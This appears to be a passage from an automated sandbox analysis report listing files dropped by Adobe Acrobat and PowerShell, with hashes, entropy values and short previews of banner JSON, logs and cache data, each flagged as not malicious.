Entropy (8bit):	5.309386827296919
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfFldPeUkwRe9:YvXKXLTT5LjIPr5Gz8Ukee9
MD5:	7EA772C40739FDD7E4AEF406C1099E70
SHA1:	148B5767939383A70634829ABB553DA4912B6883
SHA-256:	8EC0CFC24E6276764AD571B7CE0DCC316DBDD4F59D76425DD4A4CBFD65EE8339
SHA-512:	86E2AC9E0CC5284A6F3FA2861EDE120D8FE2414638E72A541D169F64D252E1809976D300E07C2F9BACD66DFCE865D3EE7DF830071648890EC258DF5833FE6034
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328097867685527
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfzdPeUkwRe9:YvXKXLTT5LjIPr5Gb8Ukee9
MD5:	57469B62F365CD293EFDF699FD312C68
SHA1:	1EA15548BB2D3416F40B320F57C7BAB8CE10C189
SHA-256:	5CEDCD64C1A319C6C197A3443D90F7BB33D590338A22AE579D718DDD7898CC31
SHA-512:	ACA011BA0B6AB26D75C3A22C3879CB47170A1E7D9B78268C142E3318B3352EDF543F1F12AE63B5971E5A1253044C479DD228C2F9D09616B89AAC9FF58E11939F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30920042182725
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfYdPeUkwRe9:YvXKXLTT5LjIPr5Gg8Ukee9
MD5:	7D3E41944C34F3458377F53E956B9392
SHA1:	7F26C558ACC934904CE71FA232F14CB89D5E505D
SHA-256:	37668535DB9D14A2250393CB4ED67C4A0AA6C52AD184CD7B3D23C4DD97F22672
SHA-512:	46C00DEC98AF49E6459BE45BD71350748F1CBADDB87F30467092C6251FBB46CC9709C73E847EF9DCDB883BF77016A2FB20BF4E78D8FA9BE4A4A1030B73508CC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.295412773907645
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJf+dPeUkwRe9:YvXKXLTT5LjIPr5G28Ukee9
MD5:	C758483F2316D8F1B16C4A3B22B5E193
SHA1:	180CAADF73C1C34D3DDBDFD7F56622FC8918CED7
SHA-256:	3E4D5B906B9E63818137B91860E75884F93F0C177F75D6BB252F2D1CFDA515F5
SHA-512:	4BC32EA08EA266414F95E1EF5381232863D9BE85A3EFF635C65956CE8A74CF29F7C8C2C425641927089F00592E3B46FAF9E7F064BF7FDD75CB4DFA51E949F716
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.292684286361409
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfbPtdPeUkwRe9:YvXKXLTT5LjIPr5GDV8Ukee9
MD5:	1C6A42645771A55E4C2D96C75FFAB8F3
SHA1:	99572CB5924BC93FA205328AC9A96E26F4704E9B
SHA-256:	7705FA3F148BD9A3E765A245B84336FB27BCDBBDD98A4DD56ABB3D4A7971C55A
SHA-512:	1228490C0CE8F6E0BEBF99440FD78C8093606C46813ABAF60A3667594E2B99D2970D4994E0CBA8FFAEE88535BD5CBB700D863B29AA34D8D8ACBF4B4C19DD7A47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285181807651862
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJf21rPeUkwRe9:YvXKXLTT5LjIPr5G+16Ukee9
MD5:	4CB65B4377509D67954E2D975AD1BFB7
SHA1:	32D821170D660E31AD839ABCFE483C6B893D7275
SHA-256:	342D6825D80142905B33CA9425044134F4DE7A8D63978781C73E6C55BB95DD15
SHA-512:	BE898C492FA564F5A7C0A45CE932BD0B214451555A9B83E6847DDAD2FBA69B24FAADA91D1F0BE1B21999E34EC335030179B660E7C3C3D51CADD3B73A1ACE2138
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665850005472011
Encrypted:	false
SSDEEP:	24:Yv6XnT5XIuamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2:YvEXrBgkDMUJUAh8cvM2
MD5:	AF40B21C77C2B58470571A19AF1BF836
SHA1:	60D53A7077D86D6D006EE9A385932DA2EA646D5C
SHA-256:	DADAC5EB436A865178DEC9CC5FEE3928909D367F505E09AEECEEB501294300C0
SHA-512:	F5C5C20862300B670A720DE5720AEF51F061EFF6CD894707B04F59C2C5E6CFC0C48D5420EC157715E0010666DC0ED4223193F82A5C0DD215E8A1099A6E362839
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.257513756830345
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfshHHrPeUkwRe9:YvXKXLTT5LjIPr5GUUUkee9
MD5:	DD1AEC4F62A6F8AC2673E7A9D0E5F4E4
SHA1:	EB3152B9CFE149E7504604F105D31405AAEF97E0
SHA-256:	36628DC6EA96166A278D5DB993541A5FD4EB3F450CC717EF92B01980FF4B2B87
SHA-512:	19B6037B1EA3FF4E758854BBBAEB76990B2BA35DF8C5C35FDF795445C0D3CBAAD3C90E569B828CA48177F33F9C764C76EB81479B0490B220B758A54CBB204E7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258456675156804
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJTqgFCrPeUkwRe9:YvXKXLTT5LjIPr5GTq16Ukee9
MD5:	F594BC11FCD364E73B4536940F6650EB
SHA1:	B99C229449DCD1A1F2A3FD894EC4373B5BBF58FA
SHA-256:	277B91DC9895A8DA4252D26B83E3CBCEFBF7E0BF45C8559B25E0542CD4C6654E
SHA-512:	6AB8AECA91DE4FA433357C9E192784EA58DB59E557DC699B77A05D91E65D3EEE4294C2CE5A7E5F11EF8D78742258B50B209061E2A065C4EC78F4C92E94F03EC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.150770969719115
Encrypted:	false
SSDEEP:	24:YpEDGad/ayOr74rH/9lFOZ2gjUlJzvj0S5538v32Y2LSgOsC7ktG4DVMAakA5pf/:YyYn4TVlAZDUbHKdQWsG4pMzXfr95
MD5:	41AC5316710338EA8A0538DFC108C1B2
SHA1:	CF5356EF5A93B7BF20381F551750798311545FB5
SHA-256:	C79F4BF67C2FC4430AE44EE45CB9FFA9E5FA1087FE2A60D1D6BF5115CC16B3AE
SHA-512:	480B27A5B4A4992217A5D6D3CA1F3E5433F0CD6EA681B4055EDF2617B0E1923EEF8AA5ADAB34315545F5CCDFA4EB624EB92DBEA87382B939C03F9A51FF03AE7A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b4d260b16a291444dbfaf9ce6f2b8848","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557289000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e20e19f316d33e0838639a14098c6efa","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557288000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0ab06ef73ed96380f3db27d2dd6452e8","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557288000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"692f35cbad454006853426958e303f30","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557288000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bbf139965b11de029e8bdc7ccdf778a1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557288000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"47f6ce43ab9162a0f6c49cf107779412","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3668433755046143
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDustXKdqEKfS8EKfM1ba0tF:Tll2GL7msMcKTlS8fcsu1fIG
MD5:	DB2324612BF250581747E548B8A89F4D
SHA1:	DFE8121C978F4815908CD87A6B5C09EA49322C63
SHA-256:	4405BD9FCAE49D835DCEDC1ADF10B731294AC2D68A32CBEF02DD960CB3B6E4B1
SHA-512:	5DCB2B8D455B642129E5F1B7EC4464BF5F5683F98CA2C68AAAEBB014EB21183A7669701C3AF5F462CA368116015B6881A66C1793FF7EE006A221D3FD178587C9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8439131200900685
Encrypted:	false
SSDEEP:	24:7+tp/Z6bqyKn6ylSTofcNqDust+KdqEKfS8EKfM1banbqjDqLKufx/XYKQvGJF7a:7M3cKTlS8fcsuMfICqGufl2GL7msu
MD5:	2A2679F877C4FC53E5E23586159E0DC8
SHA1:	4314936AF2ECAB36DEAC766C37DF0AF7C84FFBF1
SHA-256:	4AD20DAEC0EB49957539D84B58947FEC4377EDEF77EEC5866D2903F339D7D2AF
SHA-512:	B0F5925C9593A2048B450CA61931A3A37190272DBEAB2892A53A4227E1B965F2C65B1BED4C627C94923201B54B772EC05F9C9F739FC0496E6644288BEFC32481
Malicious:	false
Preview:	.... .c......H............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg76XfrFauHV+kVjE7X4K+iEUQMYyu:6a6TZ44ADE76XzFaG+k7iEUdK
MD5:	61A941CA836BA42BB7FBA5E8AFC92ED6
SHA1:	D752CF092E03C731406D98860EF7872A27C4E088
SHA-256:	B1D43CCCF027425B9A272F37F0C505764ABAADE41812D2D002143DFF8D21BDBA
SHA-512:	42BC84E821B5D0AF752B2AFF6EE439CE45F7B0334082EE530AA10596AB32F9530EE7D4319CA320D6ECA3B2EDE429A7DC61D1428557825E753C1BBAE41871F2F5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI40f6a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4818603103483943
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClMle9:Qw946cPbiOxDlbYnuRK+bC
MD5:	ACB232F4753A7E58A86F780069864C2E
SHA1:	7C2B6388EE8844A9269E692571195BDE55FA7B87
SHA-256:	D7D4A4107C1B925CE20345D5C7F04EE376107BC6536DBD96BCC6ED883D8A1759
SHA-512:	754F585E72413FF371C3658CFDFDFB37BA5BDC15A7EC78911BD6BC934104E40B3635D8F54A927C482DB6EBEE0077231FB24BBA5109BCB34E3B867EACBFEC0471
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.1.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wykjohoy.4l3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z23iilbk.0tq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-01-21-300.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357632771215449
Encrypted:	false
SSDEEP:	384:ikZ0kOokOLkOYkfokffkf4hkfzkfqkfikfFkfzkfgksiYks1kdFkLFkLLkLNkKDR:57HCuoRy7FPrVhtOV9ZTYz6bQLW
MD5:	3C2F48B8DBBF930B8900F7193EC3ACB9
SHA1:	918BF35685D69E1D2EB791D8E21F6DD4B0D26B1B
SHA-256:	E88CA5B3B6D084D3F6C09D2D8F2943AA2AE264552841C7F7597B86078D26F7B9
SHA-512:	71C156DBA561ED0A4A7B3003556BF83E1B4EE675567D037B4B5A0988D816902BAC678F2C3C5426AEF2DE394C6425BD9A37A6D0A1B24B73A8217EFFF8D09FC253
Malicious:	false
Preview:	SessionID=2387f898-b4f2-4bc8-ba05-44913f535c15.1736557281325 Timestamp=2025-01-10T20:01:21:325-0500 ThreadID=7316 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2387f898-b4f2-4bc8-ba05-44913f535c15.1736557281325 Timestamp=2025-01-10T20:01:21:326-0500 ThreadID=7316 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2387f898-b4f2-4bc8-ba05-44913f535c15.1736557281325 Timestamp=2025-01-10T20:01:21:326-0500 ThreadID=7316 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2387f898-b4f2-4bc8-ba05-44913f535c15.1736557281325 Timestamp=2025-01-10T20:01:21:326-0500 ThreadID=7316 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2387f898-b4f2-4bc8-ba05-44913f535c15.1736557281325 Timestamp=2025-01-10T20:01:21:327-0500 ThreadID=7316 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.373751512353562
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbm2ycboI3NcbR:8qnXopZ50ryt3C
MD5:	DA6CDD4CA2B1468F32F849898075570D
SHA1:	A3F26D5640F48D362335AB8CA31C5B08E689B0BB
SHA-256:	F0CB2B7002AB5A9AD815971E385E637B8F03F4554A5A6B4795B4487504B4FE04
SHA-512:	664FCF3F5B4F323F710D35C6D91988DFE5F6DB77408166C0EC6BC67F4783D4CFE15C47178B600EC9C17CF9263E378A6F437ADA2CA8634F8DD6DFB72119CD67C3
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\61a2a1e1-049a-4278-93be-0f7c15f08b57.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
